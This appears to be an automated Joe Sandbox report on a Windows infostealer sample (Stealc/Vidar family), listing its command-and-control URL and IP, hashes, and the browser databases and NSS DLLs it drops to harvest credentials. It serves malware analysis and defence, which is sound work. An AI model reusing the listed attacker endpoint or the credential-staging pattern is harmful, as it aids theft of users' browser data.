http://185.215.113.37/e2b1563c6670f193.php)	file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540245
Start date and time:	2024-10-23 15:47:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 75 Number of non-executed functions: 46
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	X2lvDxMUmn.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	vkkTIT6kcx.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	7ZthFNAqYp.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	X2lvDxMUmn.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	vkkTIT6kcx.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	7ZthFNAqYp.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEGHJKJKKJDHIDHJKJDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\ECAKECAEGDHIECBGHIIIIEGHDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDBAEHIJKKFHIEGCBGCAFIJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAAEBKEGHJKEBFHJDBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGCFHIDAKECFHIEBFCGIJDBKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIDAKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKFBAKFBGDHIEBGDAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: X2lvDxMUmn.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: vkkTIT6kcx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 7ZthFNAqYp.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: X2lvDxMUmn.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: vkkTIT6kcx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 7ZthFNAqYp.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
